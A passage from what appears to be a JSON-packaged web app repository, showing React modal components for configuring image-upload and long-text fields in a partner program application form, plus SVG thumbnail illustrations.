   checked={field.value}\n                      fn={field.onChange}\n                      trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20 w-7 h-4\"\n                      thumbDimensions=\"size-3\"\n                      thumbTranslate=\"translate-x-3\"\n                    />\n                  </label>\n                );\n              }}\n            />\n\n            <motion.div\n              animate={{\n                height: allowMultiple ? \"auto\" : 0,\n                overflow: \"hidden\",\n              }}\n              transition={{\n                duration: 0.15,\n              }}\n              initial={allowMultiple}\n              className=\"-m-1\"\n            >\n              <div className=\"p-1\">\n                <div className=\"rounded-md shadow-sm\">\n                  <input\n                    id={`${id}-max-images`}\n                    type=\"number\"\n                    placeholder=\"Maximum number of images\"\n                    {...(allowMultiple\n                      ? register(\"data.maxImages\", {\n                          required: true,\n                          min: {\n                            value: MIN_MAX_IMAGES,\n                            message: `Please enter a number between ${MIN_MAX_IMAGES} and ${MAX_MAX_IMAGES}`,\n                          },\n                          max: {\n                            value: MAX_MAX_IMAGES,\n                            message: `Please enter a number between ${MIN_MAX_IMAGES} and ${MAX_MAX_IMAGES}`,\n                          },\n                          valueAsNumber: true,\n                        })\n                      : {})}\n                    autoFocus={!isMobile}\n                    className={cn(\n                      \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                      !!errors.data?.maxImages &&\n                        \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                    )}\n                  />\n                </div>\n                {errors.data?.maxImages?.message && (\n                  <div className={cn(\"ml-1 mt-1 text-xs text-red-500\")}>\n                    {errors.data.maxImages.message}\n                  </div>\n                )}\n              </div>\n            </motion.div>\n          </div>\n\n          {/* Required */}\n          <div>\n            <Controller\n              name=\"required\"\n              control={control}\n              render={({ field }) => (\n                <label\n                  className=\"flex items-center justify-between gap-1.5\"\n                  htmlFor={`${id}-required`}\n                >\n                  <span className=\"text-sm font-medium text-neutral-700\">\n                    Required\n                  </span>\n                  <Switch\n                    id={`${id}-required`}\n                    checked={field.value}\n                    fn={field.onChange}\n                    trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20 w-7 h-4\"\n                    thumbDimensions=\"size-3\"\n                    thumbTranslate=\"translate-x-3\"\n                  />\n                </label>\n              )}\n            />\n          </div>\n\n          <div className=\"flex items-center justify-end gap-2\">\n            <Button\n              onClick={() => setShowModal(false)}\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-8 w-fit px-3\"\n            />\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text={defaultValues ? \"Update\" : \"Add\"}\n              className=\"h-8 w-fit px-3\"\n            />\n          </div>\n        </form>\n      </div>\n    </>\n  );\n}\n\nexport function ImageUploadFieldThumbnail() {\n  return (\n    <svg\n      width=\"171\"\n      height=\"100\"\n      viewBox=\"0 0 171 100\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className=\"h-auto w-full\"\n    >\n      <rect\n        x=\"50.6685\"\n        y=\"25.419\"\n        width=\"63.33\"\n        height=\"59.33\"\n        rx=\"5.665\"\n        fill=\"white\"\n      />\n      <rect\n        x=\"50.6685\"\n        y=\"25.419\"\n        width=\"63.33\"\n        height=\"59.33\"\n        rx=\"5.665\"\n        stroke=\"#D4D4D4\"\n        strokeWidth=\"0.67\"\n      />\n      <rect\n        x=\"46.6685\"\n        y=\"21.419\"\n        width=\"71.33\"\n        height=\"59.33\"\n        rx=\"5.665\"\n        fill=\"white\"\n      />\n      <rect\n        x=\"46.6685\"\n        y=\"21.419\"\n        width=\"71.33\"\n        height=\"59.33\"\n        rx=\"5.665\"\n        stroke=\"#D4D4D4\"\n        strokeWidth=\"0.67\"\n      />\n      <rect\n        x=\"42.4283\"\n        y=\"17.335\"\n        width=\"79.33\"\n        height=\"59.33\"\n        rx=\"5.665\"\n        fill=\"white\"\n      />\n      <rect\n        x=\"42.4283\"\n        y=\"17.335\"\n        width=\"79.33\"\n        height=\"59.33\"\n        rx=\"5.665\"\n        stroke=\"#D4D4D4\"\n        strokeWidth=\"0.67\"\n      />\n      <path\n        d=\"M75.4266 54.6678L83.2085 46.8871C84.2499 45.8458 85.9379 45.846 86.9792 46.8874L91.7601 51.6691\"\n        stroke=\"#262626\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M75.0931 54.6666L89.0931 54.6678C90.5659 54.6679 91.7599 53.4741 91.76 52.0013L91.7608 42.0013C91.7609 40.5285 90.5671 39.3345 89.0943 39.3344L75.0943 39.3333C73.6216 39.3332 72.4276 40.527 72.4275 41.9997L72.4266 51.9997C72.4265 53.4725 73.6203 54.6665 75.0931 54.6666Z\"\n        stroke=\"#262626\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M77.7606 46.3315C78.6811 46.3316 79.4274 45.5855 79.4274 44.665C79.4275 43.7445 78.6814 42.9983 77.7609 42.9982C76.8404 42.9981 76.0942 43.7442 76.0941 44.6647C76.094 45.5852 76.8402 46.3314 77.7606 46.3315Z\"\n        fill=\"#262626\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/modals/long-text-field-modal.tsx",
    "content": "\"use client\";\n\nimport { programApplicationFormLongTextFieldSchema } from \"@/lib/zod/schemas/program-application-form\";\nimport { Button, Modal, Switch, useMediaQuery } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { motion } from \"motion/react\";\nimport { Dispatch, SetStateAction, useId } from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { v4 as uuid } from \"uuid\";\nimport * as z from \"zod/v4\";\n\nconst MIN_LENGTH = 1;\nconst MAX_LENGTH = 5000;\nconst DEFAULT_MAX_LENGTH = 500;\n\ntype LongTextFieldData = z.infer<\n  typeof programApplicationFormLongTextFieldSchema\n>;\n\ntype LongTextFieldModalProps = {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  defaultValues?: Partial<LongTextFieldData>;\n  onSubmit: (data: LongTextFieldData) => void;\n};\n\nexport function LongTextFieldModal(props: LongTextFieldModalProps) {\n  return (\n    <Modal showModal={props.showModal} setShowModal={props.setShowModal}>\n      <LongTextFieldModalInner {...props} />\n    </Modal>\n  );\n}\n\ntype FormData = Omit<LongTextFieldData, \"data\"> & {\n  data: LongTextFieldData[\"data\"] & {\n    maxLengthEnabled: boolean;\n  };\n};\n\nconst longTextFieldDataFromFormData = (\n  formData: FormData,\n): LongTextFieldData => {\n  const { data, ...rest } = formData;\n  const { maxLength, maxLengthEnabled, ...dataRest } = data;\n  return {\n    ...rest,\n    data: {\n      ...dataRest,\n      maxLength: data.maxLengthEnabled ? data.maxLength : undefined,\n    },\n  };\n};\n\nconst formDataForLongTextFieldData = (\n  longTextFieldData?: Partial<LongTextFieldData>,\n): FormData => {\n  const maxLength = longTextFieldData?.data?.maxLength;\n  const hasMaxLength = typeof maxLength === \"number\";\n  return {\n    id: longTextFieldData?.id ?? uuid(),\n    type: longTextFieldData?.type ?? \"long-text\",\n    label: longTextFieldData?.label ?? \"\",\n    required: longTextFieldData?.required ?? false,\n    data: {\n      placeholder: longTextFieldData?.data?.placeholder ?? \"\",\n      maxLengthEnabled: hasMaxLength,\n      maxLength: hasMaxLength ? maxLength : DEFAULT_MAX_LENGTH,\n    },\n  };\n};\n\nfunction LongTextFieldModalInner({\n  setShowModal,\n  onSubmit,\n  defaultValues,\n}: LongTextFieldModalProps) {\n  const id = useId();\n  const { isMobile } = useMediaQuery();\n  const {\n    control,\n    handleSubmit,\n    register,\n    unregister,\n    formState: { errors },\n    watch,\n  } = useForm<FormData>({\n    defaultValues: formDataForLongTextFieldData(defaultValues),\n  });\n\n  const maxLengthEnabled = watch(\"data.maxLengthEnabled\");\n\n  return (\n    <>\n      <div className=\"p-4 pt-3\">\n        <h3 className=\"text-base font-semibold leading-6 text-neutral-800\">\n          {defaultValues ? \"Edit\" : \"Add\"} long text\n        </h3>\n        <form\n          className=\"mt-4 flex flex-col gap-6\"\n          onSubmit={(e) => {\n            e.stopPropagation();\n            handleSubmit(async (data) => {\n              setShowModal(false);\n              onSubmit(longTextFieldDataFromFormData(data));\n            })(e);\n          }}\n        >\n          {/* Label */}\n          <div>\n            <label\n              htmlFor={`${id}-label`}\n              className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n            >\n              Input label\n            </label>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <input\n                id={`${id}-title`}\n                type=\"text\"\n                placeholder=\"\"\n                autoFocus={!isMobile}\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  !!errors.label &&\n                    \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                )}\n                {...register(\"label\", { required: true })}\n              />\n            </div>\n          </div>\n\n          {/* Placeholder */}\n          <div>\n            <label\n              htmlFor={`${id}-placeholder`}\n              className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n            >\n              Input placeholder\n            </label>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <input\n                id={`${id}-placeholder`}\n                type=\"text\"\n                placeholder=\"\"\n                autoFocus={!isMobile}\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  !!errors.data?.placeholder &&\n                    \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                )}\n                {...register(\"data.placeholder\")}\n              />\n            </div>\n          </div>\n\n          {/* Required */}\n          <div>\n            <Controller\n              name=\"required\"\n              control={control}\n              render={({ field }) => (\n                <label\n                  className=\"flex items-center justify-between gap-1.5\"\n                  htmlFor={`${id}-required`}\n                >\n                  <span className=\"text-sm font-medium text-neutral-700\">\n                    Required\n                  </span>\n                  <Switch\n                    id={`${id}-required`}\n                    checked={field.value}\n                    fn={field.onChange}\n                    trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20 w-7 h-4\"\n                    thumbDimensions=\"size-3\"\n                    thumbTranslate=\"translate-x-3\"\n                  />\n                </label>\n              )}\n            />\n          </div>\n\n          {/* Max characters */}\n          <div className=\"flex flex-col gap-2\">\n            <Controller\n              name=\"data.maxLengthEnabled\"\n              control={control}\n              render={({ field }) => {\n                return (\n                  <label\n                    className=\"flex items-center justify-between gap-1.5\"\n                    htmlFor={`${id}-max-length-enabled`}\n                  >\n                    <span className=\"text-sm font-medium text-neutral-700\">\n                      Max characters\n                    </span>\n                    <Switch\n                      id={`${id}-max-length-enabled`}\n                      checked={field.value}\n                      fn={field.onChange}\n                      trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20 w-7 h-4\"\n                      thumbDimensions=\"size-3\"\n                      thumbTranslate=\"translate-x-3\"\n                    />\n                  </label>\n                );\n              }}\n            />\n\n            <motion.div\n              animate={{\n                height: maxLengthEnabled ? \"auto\" : 0,\n                overflow: \"hidden\",\n              }}\n              transition={{\n                duration: 0.15,\n              }}\n              initial={maxLengthEnabled}\n              className=\"-m-1\"\n            >\n              <div className=\"p-1\">\n                <input\n                  id={`${id}-max-length`}\n                  type=\"number\"\n                  placeholder=\"\"\n                  {...(maxLengthEnabled\n                    ? register(\"data.maxLength\", {\n                        min: {\n                          value: MIN_LENGTH,\n                          message: `Please enter a number between ${MIN_LENGTH} and ${MAX_LENGTH}`,\n                        },\n                        max: {\n                          value: MAX_LENGTH,\n                          message: `Please enter a number between ${MIN_LENGTH} and ${MAX_LENGTH}`,\n                        },\n                        valueAsNumber: true,\n                      })\n                    : {})}\n                  autoFocus={!isMobile}\n                  className={cn(\n                    \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                    !!errors.data?.maxLength &&\n                      \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                  )}\n                />\n              </div>\n\n              {errors.data?.maxLength?.message && (\n                <div className={cn(\"ml-1 mt-1 text-xs text-red-500\")}>\n                  {errors.data?.maxLength.message}\n                </div>\n              )}\n            </motion.div>\n          </div>\n\n          <div className=\"flex items-center justify-end gap-2\">\n            <Button\n              onClick={() => setShowModal(false)}\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-8 w-fit px-3\"\n            />\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text={defaultValues ? \"Update\" : \"Add\"}\n              className=\"h-8 w-fit px-3\"\n            />\n          </div>\n        </form>\n      </div>\n    </>\n  );\n}\n\nexport function LongTextFieldThumbnail() {\n  return (\n    <svg\n      width=\"168\"\n      height=\"100\"\n      viewBox=\"0 0 168 100\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className=\"h-auto w-full\"\n    >\n      <g clipPath=\"url(#clip0_2001_4135)\">\n        <path\n          d=\"M18.642 -47L16.2557 -55.7273H17.3295L19.1534 -48.6193H19.2386L21.0966 -55.7273H22.2898L24.1477 -48.6193H24.233L26.0568 -55.7273H27.1307L24.7443 -47H23.6534L21.7273 -53.9545H21.6591L19.733 -47H18.642ZM29.3168 -50.9375V-47H28.3111V-55.7273H29.3168V-52.5227H29.402C29.5554 -52.8608 29.7855 -53.1293 30.0923 -53.3281C30.402 -53.5298 30.8139 -53.6307 31.3281 -53.6307C31.7741 -53.6307 32.1648 -53.5412 32.5 -53.3622C32.8352 -53.1861 33.0952 -52.9148 33.2798 -52.5483C33.4673 -52.1847 33.5611 -51.7216 33.5611 -51.1591V-47H32.5554V-51.0909C32.5554 -51.6108 32.4205 -52.0128 32.1506 -52.2969C31.8835 -52.5838 31.5128 -52.7273 31.0384 -52.7273C30.7088 -52.7273 30.4134 -52.6577 30.152 -52.5185C29.8935 -52.3793 29.6889 -52.1761 29.5384 -51.9091C29.3906 -51.642 29.3168 -51.3182 29.3168 -50.9375ZM38.1452 -46.8636C37.5146 -46.8636 36.9705 -47.0028 36.5131 -47.2812C36.0586 -47.5625 35.7077 -47.9545 35.4606 -48.4574C35.2163 -48.9631 35.0941 -49.5511 35.0941 -50.2216C35.0941 -50.892 35.2163 -51.483 35.4606 -51.9943C35.7077 -52.5085 36.0515 -52.9091 36.4918 -53.196C36.935 -53.4858 37.4521 -53.6307 38.043 -53.6307C38.3839 -53.6307 38.7205 -53.5739 39.0529 -53.4602C39.3853 -53.3466 39.6879 -53.1619 39.9606 -52.9062C40.2333 -52.6534 40.4506 -52.3182 40.6126 -51.9006C40.7745 -51.483 40.8555 -50.9688 40.8555 -50.358V-49.9318H35.81V-50.8011H39.8327C39.8327 -51.1705 39.7589 -51.5 39.6112 -51.7898C39.4663 -52.0795 39.2589 -52.3082 38.989 -52.4759C38.7219 -52.6435 38.4066 -52.7273 38.043 -52.7273C37.6424 -52.7273 37.2958 -52.6278 37.0032 -52.429C36.7134 -52.233 36.4904 -51.9773 36.3342 -51.6619C36.1779 -51.3466 36.0998 -51.0085 36.0998 -50.6477V-50.0682C36.0998 -49.5739 36.185 -49.1548 36.3555 -48.8111C36.5288 -48.4702 36.7688 -48.2102 37.0756 -48.0312C37.3825 -47.8551 37.739 -47.767 38.1452 -47.767C38.4094 -47.767 38.6481 -47.804 38.8612 -47.8778C39.0771 -47.9545 39.2631 -48.0682 39.4194 -48.2188C39.5756 -48.3722 39.6964 -48.5625 39.7816 -48.7898L40.7532 -48.517C40.6509 -48.1875 40.479 -47.8977 40.2376 -47.6477C39.9961 -47.4006 39.6978 -47.2074 39.3427 -47.0682C38.9876 -46.9318 38.5884 -46.8636 38.1452 -46.8636ZM45.2319 -53.5455V-52.6932H41.8398V-53.5455H45.2319ZM42.8285 -55.1136H43.8342V-48.875C43.8342 -48.5909 43.8754 -48.3778 43.9577 -48.2358C44.043 -48.0966 44.1509 -48.0028 44.2816 -47.9545C44.4151 -47.9091 44.5558 -47.8864 44.7035 -47.8864C44.8143 -47.8864 44.9052 -47.892 44.9762 -47.9034C45.0472 -47.9176 45.104 -47.929 45.1467 -47.9375L45.3512 -47.0341C45.283 -47.0085 45.1879 -46.983 45.0657 -46.9574C44.9435 -46.929 44.7887 -46.9148 44.6012 -46.9148C44.3171 -46.9148 44.0387 -46.9759 43.766 -47.098C43.4961 -47.2202 43.2717 -47.4062 43.0927 -47.6562C42.9165 -47.9062 42.8285 -48.2216 42.8285 -48.6023V-55.1136ZM47.891 -50.9375V-47H46.8853V-55.7273H47.891V-52.5227H47.9762C48.1296 -52.8608 48.3597 -53.1293 48.6665 -53.3281C48.9762 -53.5298 49.3881 -53.6307 49.9023 -53.6307C50.3484 -53.6307 50.739 -53.5412 51.0742 -53.3622C51.4094 -53.1861 51.6694 -52.9148 51.854 -52.5483C52.0415 -52.1847 52.1353 -51.7216 52.1353 -51.1591V-47H51.1296V-51.0909C51.1296 -51.6108 50.9947 -52.0128 50.7248 -52.2969C50.4577 -52.5838 50.087 -52.7273 49.6126 -52.7273C49.283 -52.7273 48.9876 -52.6577 48.7262 -52.5185C48.4677 -52.3793 48.2631 -52.1761 48.1126 -51.9091C47.9648 -51.642 47.891 -51.3182 47.891 -50.9375ZM56.7195 -46.8636C56.0888 -46.8636 55.5447 -47.0028 55.0874 -47.2812C54.6328 -47.5625 54.282 -47.9545 54.0348 -48.4574C53.7905 -48.9631 53.6683 -49.5511 53.6683 -50.2216C53.6683 -50.892 53.7905 -51.483 54.0348 -51.9943C54.282 -52.5085 54.6257 -52.9091 55.0661 -53.196C55.5092 -53.4858 56.0263 -53.6307 56.6172 -53.6307C56.9581 -53.6307 57.2947 -53.5739 57.6271 -53.4602C57.9595 -53.3466 58.2621 -53.1619 58.5348 -52.9062C58.8075 -52.6534 59.0249 -52.3182 59.1868 -51.9006C59.3487 -51.483 59.4297 -50.9688 59.4297 -50.358V-49.9318H54.3842V-50.8011H58.407C58.407 -51.1705 58.3331 -51.5 58.1854 -51.7898C58.0405 -52.0795 57.8331 -52.3082 57.5632 -52.4759C57.2962 -52.6435 56.9808 -52.7273 56.6172 -52.7273C56.2166 -52.7273 55.87 -52.6278 55.5774 -52.429C55.2876 -52.233 55.0646 -51.9773 54.9084 -51.6619C54.7521 -51.3466 54.674 -51.0085 54.674 -50.6477V-50.0682C54.674 -49.5739 54.7592 -49.1548 54.9297 -48.8111C55.103 -48.4702 55.343 -48.2102 55.6499 -48.0312C55.9567 -47.8551 56.3132 -47.767 56.7195 -47.767C56.9837 -47.767 57.2223 -47.804 57.4354 -47.8778C57.6513 -47.9545 57.8374 -48.0682 57.9936 -48.2188C58.1499 -48.3722 58.2706 -48.5625 58.3558 -48.7898L59.3274 -48.517C59.2251 -48.1875 59.0533 -47.8977 58.8118 -47.6477C58.5703 -47.4006 58.272 -47.2074 57.9169 -47.0682C57.5618 -46.9318 57.1626 -46.8636 56.7195 -46.8636ZM60.9595 -47V-53.5455H61.9311V-52.5568H61.9993C62.1186 -52.8807 62.3345 -53.1435 62.647 -53.3452C62.9595 -53.5469 63.3118 -53.6477 63.7038 -53.6477C63.7777 -53.6477 63.87 -53.6463 63.9808 -53.6435C64.0916 -53.6406 64.1754 -53.6364 64.2322 -53.6307V-52.608C64.1982 -52.6165 64.12 -52.6293 63.9979 -52.6463C63.8786 -52.6662 63.7521 -52.6761 63.6186 -52.6761C63.3004 -52.6761 63.0163 -52.6094 62.7663 -52.4759C62.5192 -52.3452 62.3232 -52.1634 62.1783 -51.9304C62.0362 -51.7003 61.9652 -51.4375 61.9652 -51.142V-47H60.9595ZM68.7994 -47V-53.5455H69.805V-47H68.7994ZM69.3107 -54.6364C69.1147 -54.6364 68.9457 -54.7031 68.8036 -54.8366C68.6644 -54.9702 68.5948 -55.1307 68.5948 -55.3182C68.5948 -55.5057 68.6644 -55.6662 68.8036 -55.7997C68.9457 -55.9332 69.1147 -56 69.3107 -56C69.5067 -56 69.6744 -55.9332 69.8136 -55.7997C69.9556 -55.6662 70.0266 -55.5057 70.0266 -55.3182C70.0266 -55.1307 69.9556 -54.9702 69.8136 -54.8366C69.6744 -54.7031 69.5067 -54.6364 69.3107 -54.6364ZM74.4936 -53.5455V-52.6932H71.1016V-53.5455H74.4936ZM72.0902 -55.1136H73.0959V-48.875C73.0959 -48.5909 73.1371 -48.3778 73.2195 -48.2358C73.3047 -48.0966 73.4126 -48.0028 73.5433 -47.9545C73.6768 -47.9091 73.8175 -47.8864 73.9652 -47.8864C74.076 -47.8864 74.1669 -47.892 74.2379 -47.9034C74.3089 -47.9176 74.3658 -47.929 74.4084 -47.9375L74.6129 -47.0341C74.5447 -47.0085 74.4496 -46.983 74.3274 -46.9574C74.2053 -46.929 74.0504 -46.9148 73.8629 -46.9148C73.5788 -46.9148 73.3004 -46.9759 73.0277 -47.098C72.7578 -47.2202 72.5334 -47.4062 72.3544 -47.6562C72.1783 -47.9062 72.0902 -48.2216 72.0902 -48.6023V-55.1136ZM79.3814 -47V-53.5455H80.3871V-47H79.3814ZM79.8928 -54.6364C79.6967 -54.6364 79.5277 -54.7031 79.3857 -54.8366C79.2464 -54.9702 79.1768 -55.1307 79.1768 -55.3182C79.1768 -55.5057 79.2464 -55.6662 79.3857 -55.7997C79.5277 -55.9332 79.6967 -56 79.8928 -56C80.0888 -56 80.2564 -55.9332 80.3956 -55.7997C80.5376 -55.6662 80.6087 -55.5057 80.6087 -55.3182C80.6087 -55.1307 80.5376 -54.9702 80.3956 -54.8366C80.2564 -54.7031 80.0888 -54.6364 79.8928 -54.6364ZM86.8654 -52.0795L85.962 -51.8239C85.9052 -51.9744 85.8214 -52.1207 85.7106 -52.2628C85.6026 -52.4077 85.4549 -52.527 85.2674 -52.6207C85.0799 -52.7145 84.8398 -52.7614 84.5472 -52.7614C84.1467 -52.7614 83.8129 -52.669 83.5458 -52.4844C83.2816 -52.3026 83.1495 -52.071 83.1495 -51.7898C83.1495 -51.5398 83.2404 -51.3423 83.4222 -51.1974C83.604 -51.0526 83.8881 -50.9318 84.2745 -50.8352L85.2461 -50.5966C85.8313 -50.4545 86.2674 -50.2372 86.5543 -49.9446C86.8413 -49.6548 86.9847 -49.2813 86.9847 -48.8239C86.9847 -48.4489 86.8768 -48.1136 86.6609 -47.8182C86.4478 -47.5227 86.1495 -47.2898 85.766 -47.1193C85.3825 -46.9489 84.9364 -46.8636 84.4279 -46.8636C83.7603 -46.8636 83.2077 -47.0085 82.7702 -47.2983C82.3327 -47.5881 82.0558 -48.0114 81.9393 -48.5682L82.8938 -48.8068C82.9847 -48.4545 83.1566 -48.1903 83.4094 -48.0142C83.6651 -47.8381 83.9989 -47.75 84.4109 -47.75C84.8796 -47.75 85.2518 -47.8494 85.5273 -48.0483C85.8058 -48.25 85.945 -48.4915 85.945 -48.7727C85.945 -49 85.8654 -49.1903 85.7063 -49.3438C85.5472 -49.5 85.3029 -49.6165 84.9734 -49.6932L83.8825 -49.9489C83.283 -50.0909 82.8427 -50.3111 82.5614 -50.6094C82.283 -50.9105 82.1438 -51.2869 82.1438 -51.7386C82.1438 -52.108 82.2475 -52.4347 82.4549 -52.7188C82.6651 -53.0028 82.9506 -53.2259 83.3114 -53.3878C83.6751 -53.5497 84.087 -53.6307 84.5472 -53.6307C85.195 -53.6307 85.7035 -53.4886 86.0728 -53.2045C86.445 -52.9205 86.7092 -52.5455 86.8654 -52.0795ZM93.7997 -46.8466C93.3849 -46.8466 93.0085 -46.9247 92.6705 -47.081C92.3324 -47.2401 92.0639 -47.4688 91.8651 -47.767C91.6662 -48.0682 91.5668 -48.4318 91.5668 -48.858C91.5668 -49.233 91.6406 -49.5369 91.7884 -49.7699C91.9361 -50.0057 92.1335 -50.1903 92.3807 -50.3239C92.6278 -50.4574 92.9006 -50.5568 93.1989 -50.6222C93.5 -50.6903 93.8026 -50.7443 94.1065 -50.7841C94.5043 -50.8352 94.8267 -50.8736 95.0739 -50.8991C95.3239 -50.9276 95.5057 -50.9744 95.6193 -51.0398C95.7358 -51.1051 95.794 -51.2188 95.794 -51.3807V-51.4148C95.794 -51.8352 95.679 -52.1619 95.4489 -52.3949C95.2216 -52.6278 94.8764 -52.7443 94.4134 -52.7443C93.9332 -52.7443 93.5568 -52.6392 93.2841 -52.429C93.0114 -52.2188 92.8196 -51.9943 92.7088 -51.7557L91.7543 -52.0966C91.9247 -52.4943 92.152 -52.804 92.4361 -53.0256C92.723 -53.25 93.0355 -53.4063 93.3736 -53.4943C93.7145 -53.5852 94.0497 -53.6307 94.3793 -53.6307C94.5895 -53.6307 94.831 -53.6051 95.1037 -53.554C95.3793 -53.5057 95.6449 -53.4048 95.9006 -53.2514C96.1591 -53.098 96.3736 -52.8665 96.544 -52.5568C96.7145 -52.2472 96.7997 -51.8324 96.7997 -51.3125V-47H95.794V-47.8864H95.7429C95.6747 -47.7443 95.5611 -47.5923 95.402 -47.4304C95.2429 -47.2685 95.0313 -47.1307 94.767 -47.017C94.5028 -46.9034 94.1804 -46.8466 93.7997 -46.8466ZM93.9531 -47.75C94.3509 -47.75 94.6861 -47.8281 94.9588 -47.9844C95.2344 -48.1406 95.4418 -48.3423 95.581 -48.5895C95.723 -48.8366 95.794 -49.0966 95.794 -49.3693V-50.2898C95.7514 -50.2386 95.6577 -50.1918 95.5128 -50.1491C95.3707 -50.1094 95.206 -50.0739 95.0185 -50.0426C94.8338 -50.0142 94.6534 -49.9886 94.4773 -49.9659C94.304 -49.946 94.1634 -49.929 94.0554 -49.9148C93.794 -49.8807 93.5497 -49.8253 93.3224 -49.7486C93.098 -49.6747 92.9162 -49.5625 92.777 -49.4119C92.6406 -49.2642 92.5724 -49.0625 92.5724 -48.8068C92.5724 -48.4574 92.7017 -48.1932 92.9602 -48.0142C93.2216 -47.8381 93.5526 -47.75 93.9531 -47.75ZM106.647 -52.0795L105.743 -51.8239C105.686 -51.9744 105.603 -52.1207 105.492 -52.2628C105.384 -52.4077 105.236 -52.527 105.049 -52.6207C104.861 -52.7145 104.621 -52.7614 104.328 -52.7614C103.928 -52.7614 103.594 -52.669 103.327 -52.4844C103.063 -52.3026 102.931 -52.071 102.931 -51.7898C102.931 -51.5398 103.022 -51.3423 103.203 -51.1974C103.385 -51.0526 103.669 -50.9318 104.056 -50.8352L105.027 -50.5966C105.613 -50.4545 106.049 -50.2372 106.336 -49.9446C106.623 -49.6548 106.766 -49.2813 106.766 -48.8239C106.766 -48.4489 106.658 -48.1136 106.442 -47.8182C106.229 -47.5227 105.931 -47.2898 105.547 -47.1193C105.164 -46.9489 104.718 -46.8636 104.209 -46.8636C103.542 -46.8636 102.989 -47.0085 102.551 -47.2983C102.114 -47.5881 101.837 -48.0114 101.721 -48.5682L102.675 -48.8068C102.766 -48.4545 102.938 -48.1903 103.191 -48.0142C103.446 -47.8381 103.78 -47.75 104.192 -47.75C104.661 -47.75 105.033 -47.8494 105.309 -48.0483C105.587 -48.25 105.726 -48.4915 105.726 -48.7727C105.726 -49 105.647 -49.1903 105.488 -49.3438C105.328 -49.5 105.084 -49.6165 104.755 -49.6932L103.664 -49.9489C103.064 -50.0909 102.624 -50.3111 102.343 -50.6094C102.064 -50.9105 101.925 -51.2869 101.925 -51.7386C101.925 -52.108 102.029 -52.4347 102.236 -52.7188C102.446 -53.0028 102.732 -53.2259 103.093 -53.3878C103.456 -53.5497 103.868 -53.6307 104.328 -53.6307C104.976 -53.6307 105.485 -53.4886 105.854 -53.2045C106.226 -52.9205 106.49 -52.5455 106.647 -52.0795ZM108.28 -47V-53.5455H109.286V-47H108.28ZM108.791 -54.6364C108.595 -54.6364 108.426 -54.7031 108.284 -54.8366C108.145 -54.9702 108.075 -55.1307 108.075 -55.3182C108.075 -55.5057 108.145 -55.6662 108.284 -55.7997C108.426 -55.9332 108.595 -56 108.791 -56C108.987 -56 109.155 -55.9332 109.294 -55.7997C109.436 -55.6662 109.507 -55.5057 109.507 -55.3182C109.507 -55.1307 109.436 -54.9702 109.294 -54.8366C109.155 -54.7031 108.987 -54.6364 108.791 -54.6364ZM113.599 -46.8636C113.054 -46.8636 112.572 -47.0014 112.154 -47.277C111.737 -47.5554 111.41 -47.9474 111.174 -48.4531C110.939 -48.9616 110.821 -49.5625 110.821 -50.2557C110.821 -50.9432 110.939 -51.5398 111.174 -52.0455C111.41 -52.5511 111.738 -52.9418 112.159 -53.2173C112.579 -53.4929 113.065 -53.6307 113.616 -53.6307C114.042 -53.6307 114.379 -53.5597 114.626 -53.4176C114.876 -53.2784 115.066 -53.1193 115.197 -52.9403C115.331 -52.7642 115.434 -52.6193 115.508 -52.5057H115.593V-55.7273H116.599V-47H115.627V-48.0057H115.508C115.434 -47.8864 115.329 -47.7358 115.193 -47.554C115.056 -47.375 114.862 -47.2145 114.609 -47.0724C114.356 -46.9332 114.02 -46.8636 113.599 -46.8636ZM113.735 -47.767C114.139 -47.767 114.48 -47.8722 114.758 -48.0824C115.037 -48.2955 115.248 -48.5895 115.393 -48.9645C115.538 -49.3423 115.61 -49.7784 115.61 -50.2727C115.61 -50.7614 115.539 -51.1889 115.397 -51.5554C115.255 -51.9247 115.045 -52.2116 114.767 -52.4162C114.488 -52.6236 114.145 -52.7273 113.735 -52.7273C113.309 -52.7273 112.954 -52.6179 112.67 -52.3991C112.389 -52.1832 112.177 -51.8892 112.035 -51.517C111.896 -51.1477 111.826 -50.733 111.826 -50.2727C111.826 -49.8068 111.897 -49.3835 112.039 -49.0028C112.184 -48.625 112.397 -48.3239 112.679 -48.0994C112.963 -47.8778 113.315 -47.767 113.735 -47.767ZM121.325 -46.8636C120.694 -46.8636 120.15 -47.0028 119.693 -47.2812C119.238 -47.5625 118.887 -47.9545 118.64 -48.4574C118.396 -48.9631 118.274 -49.5511 